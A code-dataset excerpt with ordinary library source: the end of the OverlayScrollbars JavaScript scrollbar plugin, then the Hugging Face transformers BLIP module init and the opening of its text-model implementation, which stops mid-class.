var operator;
var amount;
var scrollInfo = isX ? _scrollHorizontalInfo : _scrollVerticalInfo;
var currScroll = scrollInfo._currentScroll;
var maxScroll = scrollInfo._maxScroll;
var mult = ' * ';
var finalValue;
var isRTLisX = _isRTL && isX;
var normalizeShortcuts = isRTLisX && _rtlScrollBehavior.n && !normalizeRTL;
var strReplace = 'replace';
var evalFunc = eval;
var possibleOperator;
if (isString) {
//check operator
if (rawScroll[strLength] > 2) {
possibleOperator = rawScroll.substr(0, 2);
if (inArray(possibleOperator, coordinatesOperators) > -1)
operator = possibleOperator;
}
//calculate units and shortcuts
rawScroll = operator ? rawScroll.substr(2) : rawScroll;
rawScroll = rawScroll
[strReplace](/min/g, 0) //'min' = 0%
[strReplace](/</g, 0) //'<' = 0%
[strReplace](/max/g, (normalizeShortcuts ? '-' : _strEmpty) + _strHundredPercent) //'max' = 100%
[strReplace](/>/g, (normalizeShortcuts ? '-' : _strEmpty) + _strHundredPercent) //'>' = 100%
[strReplace](/px/g, _strEmpty)
[strReplace](/%/g, mult + (maxScroll * (isRTLisX && _rtlScrollBehavior.n ? -1 : 1) / 100.0))
[strReplace](/vw/g, mult + _viewportSize.w)
[strReplace](/vh/g, mult + _viewportSize.h);
amount = parseToZeroOrNumber(isNaN(rawScroll) ? parseToZeroOrNumber(evalFunc(rawScroll), true).toFixed() : rawScroll);
}
else {
amount = rawScroll;
}
if (amount !== undefined && !isNaN(amount) && type(amount) == TYPES.n) {
var normalizeIsRTLisX = normalizeRTL && isRTLisX;
var operatorCurrScroll = currScroll * (normalizeIsRTLisX && _rtlScrollBehavior.n ? -1 : 1);
var invert = normalizeIsRTLisX && _rtlScrollBehavior.i;
var negate = normalizeIsRTLisX && _rtlScrollBehavior.n;
operatorCurrScroll = invert ? (maxScroll - operatorCurrScroll) : operatorCurrScroll;
switch (operator) {
case '+=':
finalValue = operatorCurrScroll + amount;
break;
case '-=':
finalValue = operatorCurrScroll - amount;
break;
case '*=':
finalValue = operatorCurrScroll * amount;
break;
case '/=':
finalValue = operatorCurrScroll / amount;
break;
default:
finalValue = amount;
break;
}
finalValue = invert ? maxScroll - finalValue : finalValue;
finalValue *= negate ? -1 : 1;
finalValue = isRTLisX && _rtlScrollBehavior.n ? MATH.min(0, MATH.max(maxScroll, finalValue)) : MATH.max(0, MATH.min(maxScroll, finalValue));
}
return finalValue === currScroll ? undefined : finalValue;
}
function getPerAxisValue(value, valueInternalType, defaultValue, allowedValues) {
var resultDefault = [defaultValue, defaultValue];
var valueType = type(value);
var valueArrLength;
var valueArrItem;
//value can be [ string, or array of two strings ]
if (valueType == valueInternalType) {
value = [value, value];
}
else if (valueType == TYPES.a) {
valueArrLength = value[strLength];
if (valueArrLength > 2 || valueArrLength < 1)
value = resultDefault;
else {
if (valueArrLength === 1)
value[1] = defaultValue;
for (i = 0; i < valueArrLength; i++) {
valueArrItem = value[i];
if (type(valueArrItem) != valueInternalType || !checkSettingsStringValue(valueArrItem, allowedValues)) {
value = resultDefault;
break;
}
}
}
}
else if (valueType == TYPES.o)
value = [value[_strX] || defaultValue, value[_strY] || defaultValue];
else
value = resultDefault;
return { x: value[0], y: value[1] };
}
function generateMargin(marginTopRightBottomLeftArray) {
var result = [];
var currValue;
var currValueType;
var valueDirections = [_strTop, _strRight, _strBottom, _strLeft];
for (i = 0; i < marginTopRightBottomLeftArray[strLength]; i++) {
if (i === valueDirections[strLength])
break;
currValue = marginTopRightBottomLeftArray[i];
currValueType = type(currValue);
if (currValueType == TYPES.b)
result.push(currValue ? parseToZeroOrNumber(finalElement.css(_strMarginMinus + valueDirections[i])) : 0);
else
result.push(currValueType == TYPES.n ? currValue : 0);
}
return result;
}
if (possibleElementIsJQuery || possibleElementIsHTMLElement) {
//get settings
var margin = coordinatesIsElementObj ? coordinates.margin : 0;
var axis = coordinatesIsElementObj ? coordinates.axis : 0;
var scroll = coordinatesIsElementObj ? coordinates.scroll : 0;
var block = coordinatesIsElementObj ? coordinates.block : 0;
var marginDefault = [0, 0, 0, 0];
var marginType = type(margin);
var marginLength;
finalElement = possibleElementIsJQuery ? possibleElement : FRAMEWORK(possibleElement);
if (finalElement[strLength] > 0) {
//margin can be [ boolean, number, array of 2, array of 4, object ]
if (marginType == TYPES.n || marginType == TYPES.b)
margin = generateMargin([margin, margin, margin, margin]);
else if (marginType == TYPES.a) {
marginLength = margin[strLength];
if (marginLength === 2)
margin = generateMargin([margin[0], margin[1], margin[0], margin[1]]);
else if (marginLength >= 4)
margin = generateMargin(margin);
else
margin = marginDefault;
}
else if (marginType == TYPES.o)
margin = generateMargin([margin[_strTop], margin[_strRight], margin[_strBottom], margin[_strLeft]]);
else
margin = marginDefault;
//block = type(block) === TYPES.b ? block ? [ strNearest, strBegin ] : [ strNearest, strEnd ] : block;
settingsAxis = checkSettingsStringValue(axis, elementObjSettingsAxisValues) ? axis : 'xy';
settingsScroll = getPerAxisValue(scroll, TYPES.s, strAlways, elementObjSettingsScrollValues);
settingsBlock = getPerAxisValue(block, TYPES.s, strBegin, elementObjSettingsBlockValues);
settingsMargin = margin;
var viewportScroll = {
l: _scrollHorizontalInfo._currentScroll,
t: _scrollVerticalInfo._currentScroll
};
// use padding element instead of viewport element because padding element has never padding, margin or position applied.
var viewportOffset = _paddingElement.offset();
//get coordinates
var elementOffset = finalElement.offset();
var doNotScroll = {
x: settingsScroll.x == strNever || settingsAxis == _strY,
y: settingsScroll.y == strNever || settingsAxis == _strX
};
elementOffset[_strTop] -= settingsMargin[0];
elementOffset[_strLeft] -= settingsMargin[3];
var elementScrollCoordinates = {
x: MATH.round(elementOffset[_strLeft] - viewportOffset[_strLeft] + viewportScroll.l),
y: MATH.round(elementOffset[_strTop] - viewportOffset[_strTop] + viewportScroll.t)
};
if (_isRTL) {
if (!_rtlScrollBehavior.n && !_rtlScrollBehavior.i)
elementScrollCoordinates.x = MATH.round(viewportOffset[_strLeft] - elementOffset[_strLeft] + viewportScroll.l);
if (_rtlScrollBehavior.n && normalizeRTL)
elementScrollCoordinates.x *= -1;
if (_rtlScrollBehavior.i && normalizeRTL)
elementScrollCoordinates.x = MATH.round(viewportOffset[_strLeft] - elementOffset[_strLeft] + (_scrollHorizontalInfo._maxScroll - viewportScroll.l));
}
//measuring is required
if (settingsBlock.x != strBegin || settingsBlock.y != strBegin || settingsScroll.x == strIfNeeded || settingsScroll.y == strIfNeeded || _isRTL) {
var measuringElm = finalElement[0];
var rawElementSize = _supportTransform ? measuringElm[LEXICON.bCR]() : {
width: measuringElm[LEXICON.oW],
height: measuringElm[LEXICON.oH]
};
var elementSize = {
w: rawElementSize[_strWidth] + settingsMargin[3] + settingsMargin[1],
h: rawElementSize[_strHeight] + settingsMargin[0] + settingsMargin[2]
};
var finalizeBlock = function (isX) {
var vars = getScrollbarVars(isX);
var wh = vars._w_h;
var lt = vars._left_top;
var xy = vars._x_y;
var blockIsEnd = settingsBlock[xy] == (isX ? _isRTL ? strBegin : strEnd : strEnd);
var blockIsCenter = settingsBlock[xy] == strCenter;
var blockIsNearest = settingsBlock[xy] == strNearest;
var scrollNever = settingsScroll[xy] == strNever;
var scrollIfNeeded = settingsScroll[xy] == strIfNeeded;
var vpSize = _viewportSize[wh];
var vpOffset = viewportOffset[lt];
var elSize = elementSize[wh];
var elOffset = elementOffset[lt];
var divide = blockIsCenter ? 2 : 1;
var elementCenterOffset = elOffset + (elSize / 2);
var viewportCenterOffset = vpOffset + (vpSize / 2);
var isInView =
elSize <= vpSize
&& elOffset >= vpOffset
&& elOffset + elSize <= vpOffset + vpSize;
if (scrollNever)
doNotScroll[xy] = true;
else if (!doNotScroll[xy]) {
if (blockIsNearest || scrollIfNeeded) {
doNotScroll[xy] = scrollIfNeeded ? isInView : false;
blockIsEnd = elSize < vpSize ? elementCenterOffset > viewportCenterOffset : elementCenterOffset < viewportCenterOffset;
}
elementScrollCoordinates[xy] -= blockIsEnd || blockIsCenter ? ((vpSize / divide) - (elSize / divide)) * (isX && _isRTL && normalizeRTL ? -1 : 1) : 0;
}
};
finalizeBlock(true);
finalizeBlock(false);
}
if (doNotScroll.y)
delete elementScrollCoordinates.y;
if (doNotScroll.x)
delete elementScrollCoordinates.x;
coordinates = elementScrollCoordinates;
}
}
finalScroll[_strScrollLeft] = getFinalScroll(true, getRawScroll(true, coordinates));
finalScroll[_strScrollTop] = getFinalScroll(false, getRawScroll(false, coordinates));
doScrollLeft = finalScroll[_strScrollLeft] !== undefined;
doScrollTop = finalScroll[_strScrollTop] !== undefined;
if ((doScrollLeft || doScrollTop) && (duration > 0 || durationIsObject)) {
if (durationIsObject) {
duration.complete = proxyCompleteCallback;
_viewportElement.animate(finalScroll, duration);
}
else {
animationOptions = {
duration: duration,
complete: proxyCompleteCallback
};
if (COMPATIBILITY.isA(easing) || FRAMEWORK.isPlainObject(easing)) {
specialEasing[_strScrollLeft] = easing[0] || easing.x;
specialEasing[_strScrollTop] = easing[1] || easing.y;
animationOptions.specialEasing = specialEasing;
}
else {
animationOptions.easing = easing;
}
_viewportElement.animate(finalScroll, animationOptions);
}
}
else {
if (doScrollLeft)
_viewportElement[_strScrollLeft](finalScroll[_strScrollLeft]);
if (doScrollTop)
_viewportElement[_strScrollTop](finalScroll[_strScrollTop]);
updateScrollbarInfos();
}
};
/**
* Stops all scroll animations.
* @returns {*} The current OverlayScrollbars instance (for chaining).
*/
_base.scrollStop = function (param1, param2, param3) {
_viewportElement.stop(param1, param2, param3);
return _base;
};
/**
* Returns all relevant elements.
* @param elementName The name of the element which shall be returned.
* @returns {{target: *, host: *, padding: *, viewport: *, content: *, scrollbarHorizontal: {scrollbar: *, track: *, handle: *}, scrollbarVertical: {scrollbar: *, track: *, handle: *}, scrollbarCorner: *} | *}
*/
_base.getElements = function (elementName) {
var obj = {
target: _targetElementNative,
host: _hostElementNative,
padding: _paddingElementNative,
viewport: _viewportElementNative,
content: _contentElementNative,
scrollbarHorizontal: {
scrollbar: _scrollbarHorizontalElement[0],
track: _scrollbarHorizontalTrackElement[0],
handle: _scrollbarHorizontalHandleElement[0]
},
scrollbarVertical: {
scrollbar: _scrollbarVerticalElement[0],
track: _scrollbarVerticalTrackElement[0],
handle: _scrollbarVerticalHandleElement[0]
},
scrollbarCorner: _scrollbarCornerElement[0]
};
return type(elementName) == TYPES.s ? getObjectPropVal(obj, elementName) : obj;
};
/**
* Returns a object which describes the current state of this instance.
* @param stateProperty A specific property from the state object which shall be returned.
* @returns {{widthAuto, heightAuto, overflowAmount, hideOverflow, hasOverflow, contentScrollSize, viewportSize, hostSize, autoUpdate} | *}
*/
_base.getState = function (stateProperty) {
function prepare(obj) {
if (!FRAMEWORK.isPlainObject(obj))
return obj;
var extended = extendDeep({}, obj);
var changePropertyName = function (from, to) {
if (extended[LEXICON.hOP](from)) {
extended[to] = extended[from];
delete extended[from];
}
};
changePropertyName('w', _strWidth); //change w to width
changePropertyName('h', _strHeight); //change h to height
delete extended.c; //delete c (the 'changed' prop)
return extended;
};
var obj = {
destroyed: !!prepare(_destroyed),
sleeping: !!prepare(_sleeping),
autoUpdate: prepare(!_mutationObserversConnected),
widthAuto: prepare(_widthAutoCache),
heightAuto: prepare(_heightAutoCache),
padding: prepare(_cssPaddingCache),
overflowAmount: prepare(_overflowAmountCache),
hideOverflow: prepare(_hideOverflowCache),
hasOverflow: prepare(_hasOverflowCache),
contentScrollSize: prepare(_contentScrollSizeCache),
viewportSize: prepare(_viewportSize),
hostSize: prepare(_hostSizeCache),
documentMixed: prepare(_documentMixed)
};
return type(stateProperty) == TYPES.s ? getObjectPropVal(obj, stateProperty) : obj;
};
/**
* Gets all or specific extension instance.
* @param extName The name of the extension from which the instance shall be got.
* @returns {{}} The instance of the extension with the given name or undefined if the instance couldn't be found.
*/
_base.ext = function (extName) {
var result;
var privateMethods = _extensionsPrivateMethods.split(' ');
var i = 0;
if (type(extName) == TYPES.s) {
if (_extensions[LEXICON.hOP](extName)) {
result = extendDeep({}, _extensions[extName]);
for (; i < privateMethods.length; i++)
delete result[privateMethods[i]];
}
}
else {
result = {};
for (i in _extensions)
result[i] = extendDeep({}, _base.ext(i));
}
return result;
};
/**
* Adds a extension to this instance.
* @param extName The name of the extension which shall be added.
* @param extensionOptions The extension options which shall be used.
* @returns {{}} The instance of the added extension or undefined if the extension couldn't be added properly.
*/
_base.addExt = function (extName, extensionOptions) {
var registeredExtensionObj = _plugin.extension(extName);
var instance;
var instanceAdded;
var instanceContract;
var contractResult;
var contractFulfilled = true;
if (registeredExtensionObj) {
if (!_extensions[LEXICON.hOP](extName)) {
instance = registeredExtensionObj.extensionFactory.call(_base,
extendDeep({}, registeredExtensionObj.defaultOptions),
FRAMEWORK,
COMPATIBILITY);
if (instance) {
instanceContract = instance.contract;
if (type(instanceContract) == TYPES.f) {
contractResult = instanceContract(window);
contractFulfilled = type(contractResult) == TYPES.b ? contractResult : contractFulfilled;
}
if (contractFulfilled) {
_extensions[extName] = instance;
instanceAdded = instance.added;
if (type(instanceAdded) == TYPES.f)
instanceAdded(extensionOptions);
return _base.ext(extName);
}
}
}
else
return _base.ext(extName);
}
else
console.warn("A extension with the name \"" + extName + "\" isn't registered.");
};
/**
* Removes a extension from this instance.
* @param extName The name of the extension which shall be removed.
* @returns {boolean} True if the extension was removed, false otherwise e.g. if the extension wasn't added before.
*/
_base.removeExt = function (extName) {
var instance = _extensions[extName];
var instanceRemoved;
if (instance) {
delete _extensions[extName];
instanceRemoved = instance.removed;
if (type(instanceRemoved) == TYPES.f)
instanceRemoved();
return true;
}
return false;
};
/**
* Constructs the plugin.
* @param targetElement The element to which the plugin shall be applied.
* @param options The initial options of the plugin.
* @param extensions The extension(s) which shall be added right after the initialization.
* @returns {boolean} True if the plugin was successfully initialized, false otherwise.
*/
function construct(targetElement, options, extensions) {
_defaultOptions = globals.defaultOptions;
_nativeScrollbarStyling = globals.nativeScrollbarStyling;
_nativeScrollbarSize = extendDeep({}, globals.nativeScrollbarSize);
_nativeScrollbarIsOverlaid = extendDeep({}, globals.nativeScrollbarIsOverlaid);
_overlayScrollbarDummySize = extendDeep({}, globals.overlayScrollbarDummySize);
_rtlScrollBehavior = extendDeep({}, globals.rtlScrollBehavior);
//parse & set options but don't update
setOptions(extendDeep({}, _defaultOptions, options));
_cssCalc = globals.cssCalc;
_msieVersion = globals.msie;
_autoUpdateRecommended = globals.autoUpdateRecommended;
_supportTransition = globals.supportTransition;
_supportTransform = globals.supportTransform;
_supportPassiveEvents = globals.supportPassiveEvents;
_supportResizeObserver = globals.supportResizeObserver;
_supportMutationObserver = globals.supportMutationObserver;
_restrictedMeasuring = globals.restrictedMeasuring;
_documentElement = FRAMEWORK(targetElement.ownerDocument);
_documentElementNative = _documentElement[0];
_windowElement = FRAMEWORK(_documentElementNative.defaultView || _documentElementNative.parentWindow);
_windowElementNative = _windowElement[0];
_htmlElement = findFirst(_documentElement, 'html');
_bodyElement = findFirst(_htmlElement, 'body');
_targetElement = FRAMEWORK(targetElement);
_targetElementNative = _targetElement[0];
_isTextarea = _targetElement.is('textarea');
_isBody = _targetElement.is('body');
_documentMixed = _documentElementNative !== document;
/* On a div Element The if checks only whether:
* - the targetElement has the class "os-host"
* - the targetElement has a a child with the class "os-padding"
*
* If that's the case, its assumed the DOM has already the following structure:
* (The ".os-host" element is the targetElement)
*
* <div class="os-host">
* <div class="os-resize-observer-host"></div>
* <div class="os-padding">
* <div class="os-viewport">
* <div class="os-content"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-horizontal ">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-vertical">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar-corner"></div>
* </div>
*
* =====================================================================================
*
* On a Textarea Element The if checks only whether:
* - the targetElement has the class "os-textarea"
* - the targetElement is inside a element with the class "os-content"
*
* If that's the case, its assumed the DOM has already the following structure:
* (The ".os-textarea" (textarea) element is the targetElement)
*
* <div class="os-host-textarea">
* <div class="os-resize-observer-host"></div>
* <div class="os-padding os-text-inherit">
* <div class="os-viewport os-text-inherit">
* <div class="os-content os-text-inherit">
* <div class="os-textarea-cover"></div>
* <textarea class="os-textarea os-text-inherit"></textarea>
* </div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-horizontal ">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-vertical">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar-corner"></div>
* </div>
*/
_domExists = _isTextarea
? _targetElement.hasClass(_classNameTextareaElement) && _targetElement.parent().hasClass(_classNameContentElement)
: _targetElement.hasClass(_classNameHostElement) && _targetElement.children(_strDot + _classNamePaddingElement)[LEXICON.l];
var initBodyScroll;
var bodyMouseTouchDownListener;
//check if the plugin hasn't to be initialized
if (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y && !_currentPreparedOptions.nativeScrollbarsOverlaid.initialize) {
dispatchCallback('onInitializationWithdrawn');
if (_domExists) {
setupStructureDOM(true);
setupScrollbarsDOM(true);
setupScrollbarCornerDOM(true);
}
_destroyed = true;
_sleeping = true;
return _base;
}
if (_isBody) {
initBodyScroll = {};
initBodyScroll.l = MATH.max(_targetElement[_strScrollLeft](), _htmlElement[_strScrollLeft](), _windowElement[_strScrollLeft]());
initBodyScroll.t = MATH.max(_targetElement[_strScrollTop](), _htmlElement[_strScrollTop](), _windowElement[_strScrollTop]());
bodyMouseTouchDownListener = function () {
_viewportElement.removeAttr(LEXICON.ti);
setupResponsiveEventListener(_viewportElement, _strMouseTouchDownEvent, bodyMouseTouchDownListener, true, true);
}
}
//build OverlayScrollbars DOM
setupStructureDOM();
setupScrollbarsDOM();
setupScrollbarCornerDOM();
//create OverlayScrollbars events
setupStructureEvents();
setupScrollbarEvents(true);
setupScrollbarEvents(false);
setupScrollbarCornerEvents();
//create mutation observers
createMutationObservers();
//build resize observer for the host element
setupResizeObserver(_sizeObserverElement, hostOnResized);
if (_isBody) {
//apply the body scroll to handle it right in the update method
_viewportElement[_strScrollLeft](initBodyScroll.l)[_strScrollTop](initBodyScroll.t);
//set the focus on the viewport element so you dont have to click on the page to use keyboard keys (up / down / space) for scrolling
if (document.activeElement == targetElement && _viewportElementNative.focus) {
//set a tabindex to make the viewportElement focusable
_viewportElement.attr(LEXICON.ti, '-1');
_viewportElementNative.focus();
/* the tabindex has to be removed due to;
* If you set the tabindex attribute on an <div>, then its child content cannot be scrolled with the arrow keys unless you set tabindex on the content, too
* https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/tabindex
*/
setupResponsiveEventListener(_viewportElement, _strMouseTouchDownEvent, bodyMouseTouchDownListener, false, true);
}
}
//update for the first time & initialize cache
_base.update(_strAuto);
//the plugin is initialized now!
_initialized = true;
dispatchCallback('onInitialized');
//call all callbacks which would fire before the initialized was complete
each(_callbacksInitQeueue, function (index, value) { dispatchCallback(value.n, value.a); });
_callbacksInitQeueue = [];
//add extensions
if (type(extensions) == TYPES.s)
extensions = [extensions];
if (COMPATIBILITY.isA(extensions))
each(extensions, function (index, value) { _base.addExt(value); });
else if (FRAMEWORK.isPlainObject(extensions))
each(extensions, function (key, value) { _base.addExt(key, value); });
//add the transition class for transitions AFTER the first update & AFTER the applied extensions (for preventing unwanted transitions)
setTimeout(function () {
if (_supportTransition && !_destroyed)
addClass(_hostElement, _classNameHostTransition);
}, 333);
return _base;
}
if (_plugin.valid(construct(pluginTargetElement, options, extensions))) {
INSTANCES(pluginTargetElement, _base);
}
return _base;
}
/**
* Initializes a new OverlayScrollbarsInstance object or changes options if already initialized or returns the current instance.
* @param pluginTargetElements The elements to which the Plugin shall be initialized.
* @param options The custom options with which the plugin shall be initialized.
* @param extensions The extension(s) which shall be added right after initialization.
* @returns {*}
*/
_plugin = window[PLUGINNAME] = function (pluginTargetElements, options, extensions) {
if (arguments[LEXICON.l] === 0)
return this;
var arr = [];
var optsIsPlainObj = FRAMEWORK.isPlainObject(options);
var inst;
var result;
//pluginTargetElements is null or undefined
if (!pluginTargetElements)
return optsIsPlainObj || !options ? result : arr;
/*
pluginTargetElements will be converted to:
1. A jQueryElement Array
2. A HTMLElement Array
3. A Array with a single HTML Element
so pluginTargetElements is always a array.
*/
pluginTargetElements = pluginTargetElements[LEXICON.l] != undefined ? pluginTargetElements : [pluginTargetElements[0] || pluginTargetElements];
initOverlayScrollbarsStatics();
if (pluginTargetElements[LEXICON.l] > 0) {
if (optsIsPlainObj) {
FRAMEWORK.each(pluginTargetElements, function (i, v) {
inst = v;
if (inst !== undefined)
arr.push(OverlayScrollbarsInstance(inst, options, extensions, _pluginsGlobals, _pluginsAutoUpdateLoop));
});
}
else {
FRAMEWORK.each(pluginTargetElements, function (i, v) {
inst = INSTANCES(v);
if ((options === '!' && _plugin.valid(inst)) || (COMPATIBILITY.type(options) == TYPES.f && options(v, inst)))
arr.push(inst);
else if (options === undefined)
arr.push(inst);
});
}
result = arr[LEXICON.l] === 1 ? arr[0] : arr;
}
return result;
};
/**
* Returns a object which contains global information about the plugin and each instance of it.
* The returned object is just a copy, that means that changes to the returned object won't have any effect to the original object.
*/
_plugin.globals = function () {
initOverlayScrollbarsStatics();
var globals = FRAMEWORK.extend(true, {}, _pluginsGlobals);
delete globals['msie'];
return globals;
};
/**
* Gets or Sets the default options for each new plugin initialization.
* @param newDefaultOptions The object with which the default options shall be extended.
*/
_plugin.defaultOptions = function (newDefaultOptions) {
initOverlayScrollbarsStatics();
var currDefaultOptions = _pluginsGlobals.defaultOptions;
if (newDefaultOptions === undefined)
return FRAMEWORK.extend(true, {}, currDefaultOptions);
//set the new default options
_pluginsGlobals.defaultOptions = FRAMEWORK.extend(true, {}, currDefaultOptions, _pluginsOptions._validate(newDefaultOptions, _pluginsOptions._template, true, currDefaultOptions)._default);
};
/**
* Checks whether the passed instance is a non-destroyed OverlayScrollbars instance.
* @param osInstance The potential OverlayScrollbars instance which shall be checked.
* @returns {boolean} True if the passed value is a non-destroyed OverlayScrollbars instance, false otherwise.
*/
_plugin.valid = function (osInstance) {
return osInstance instanceof _plugin && !osInstance.getState().destroyed;
};
/**
* Registers, Unregisters or returns a extension.
* Register: Pass the name and the extension. (defaultOptions is optional)
* Unregister: Pass the name and anything except a function as extension parameter.
* Get extension: Pass the name of the extension which shall be got.
* Get all extensions: Pass no arguments.
* @param extensionName The name of the extension which shall be registered, unregistered or returned.
* @param extension A function which generates the instance of the extension or anything other to remove a already registered extension.
* @param defaultOptions The default options which shall be used for the registered extension.
*/
_plugin.extension = function (extensionName, extension, defaultOptions) {
var extNameTypeString = COMPATIBILITY.type(extensionName) == TYPES.s;
var argLen = arguments[LEXICON.l];
var i = 0;
if (argLen < 1 || !extNameTypeString) {
//return a copy of all extension objects
return FRAMEWORK.extend(true, { length: _pluginsExtensions[LEXICON.l] }, _pluginsExtensions);
}
else if (extNameTypeString) {
if (COMPATIBILITY.type(extension) == TYPES.f) {
//register extension
_pluginsExtensions.push({
name: extensionName,
extensionFactory: extension,
defaultOptions: defaultOptions
});
}
else {
for (; i < _pluginsExtensions[LEXICON.l]; i++) {
if (_pluginsExtensions[i].name === extensionName) {
if (argLen > 1)
_pluginsExtensions.splice(i, 1); //remove extension
else
return FRAMEWORK.extend(true, {}, _pluginsExtensions[i]); //return extension with the given name
}
}
}
}
};
return _plugin;
})();
if (JQUERY && JQUERY.fn) {
/**
* The jQuery initialization interface.
* @param options The initial options for the construction of the plugin. To initialize the plugin, this option has to be a object! If it isn't a object, the instance(s) are returned and the plugin wont be initialized.
* @param extensions The extension(s) which shall be added right after initialization.
* @returns {*} After initialization it returns the jQuery element array, else it returns the instance(s) of the elements which are selected.
*/
JQUERY.fn.overlayScrollbars = function (options, extensions) {
var _elements = this;
if (JQUERY.isPlainObject(options)) {
JQUERY.each(_elements, function () { PLUGIN(this, options, extensions); });
return _elements;
}
else
return PLUGIN(_elements, options);
};
}
return PLUGIN;
}
)); |
27182812/ChatGLM-LLaMA-chinese-insturct | 2,674 | src/transformers/models/blip/__init__.py | # Copyright 2022 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import OptionalDependencyNotAvailable, _LazyModule, is_torch_available, is_vision_available
_import_structure = {
"configuration_blip": [
"BLIP_PRETRAINED_CONFIG_ARCHIVE_MAP",
"BlipConfig",
"BlipTextConfig",
"BlipVisionConfig",
],
"processing_blip": ["BlipProcessor"],
}
try:
if not is_vision_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["image_processing_blip"] = ["BlipImageProcessor"]
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_blip"] = [
"BLIP_PRETRAINED_MODEL_ARCHIVE_LIST",
"BlipModel",
"BlipPreTrainedModel",
"BlipForConditionalGeneration",
"BlipForQuestionAnswering",
"BlipVisionModel",
"BlipTextModel",
"BlipForImageTextRetrieval",
]
if TYPE_CHECKING:
from .configuration_blip import BLIP_PRETRAINED_CONFIG_ARCHIVE_MAP, BlipConfig, BlipTextConfig, BlipVisionConfig
from .processing_blip import BlipProcessor
try:
if not is_vision_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .image_processing_blip import BlipImageProcessor
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_blip import (
BLIP_PRETRAINED_MODEL_ARCHIVE_LIST,
BlipForConditionalGeneration,
BlipForImageTextRetrieval,
BlipForQuestionAnswering,
BlipModel,
BlipPreTrainedModel,
BlipTextModel,
BlipVisionModel,
)
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
27182812/ChatGLM-LLaMA-chinese-insturct | 41,560 | src/transformers/models/blip/modeling_blip_text.py | # coding=utf-8
# Copyright 2022 The Salesforce Team Authors and The HuggingFace Team. All rights reserved.
#
# Licensed under the BSD-3-clause license (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import math
from typing import Optional, Tuple
import torch
import torch.utils.checkpoint
from torch import Tensor, device, nn
from torch.nn import CrossEntropyLoss
from ...activations import ACT2FN
from ...modeling_outputs import (
BaseModelOutputWithPastAndCrossAttentions,
BaseModelOutputWithPoolingAndCrossAttentions,
CausalLMOutputWithCrossAttentions,
)
from ...modeling_utils import (
PreTrainedModel,
apply_chunking_to_forward,
find_pruneable_heads_and_indices,
prune_linear_layer,
)
from ...utils import logging
from .configuration_blip import BlipTextConfig
logger = logging.get_logger(__name__)
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#L52
class BlipTextEmbeddings(nn.Module):
"""Construct the embeddings from word and position embeddings."""
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
self.config = config
def forward(self, input_ids=None, position_ids=None, inputs_embeds=None, past_key_values_length=0):
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, past_key_values_length : seq_length + past_key_values_length]
if inputs_embeds is None:
input_ids = input_ids.to(self.word_embeddings.weight.device)
inputs_embeds = self.word_embeddings(input_ids)
embeddings = inputs_embeds
if self.position_embedding_type == "absolute":
position_embeddings = self.position_embeddings(position_ids)
embeddings += position_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
# Adapted from https://github.com/salesforce/BLIP/blob/main/models/med.py#L97
class BlipTextSelfAttention(nn.Module):
def __init__(self, config, is_cross_attention):
super().__init__()
self.config = config
if config.hidden_size % config.num_attention_heads != 0 and not hasattr(config, "embedding_size"):
raise ValueError(
"The hidden size (%d) is not a multiple of the number of attention heads (%d)"
% (config.hidden_size, config.num_attention_heads)
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size)
if is_cross_attention:
self.key = nn.Linear(config.encoder_hidden_size, self.all_head_size)
self.value = nn.Linear(config.encoder_hidden_size, self.all_head_size)
else:
self.key = nn.Linear(config.hidden_size, self.all_head_size)
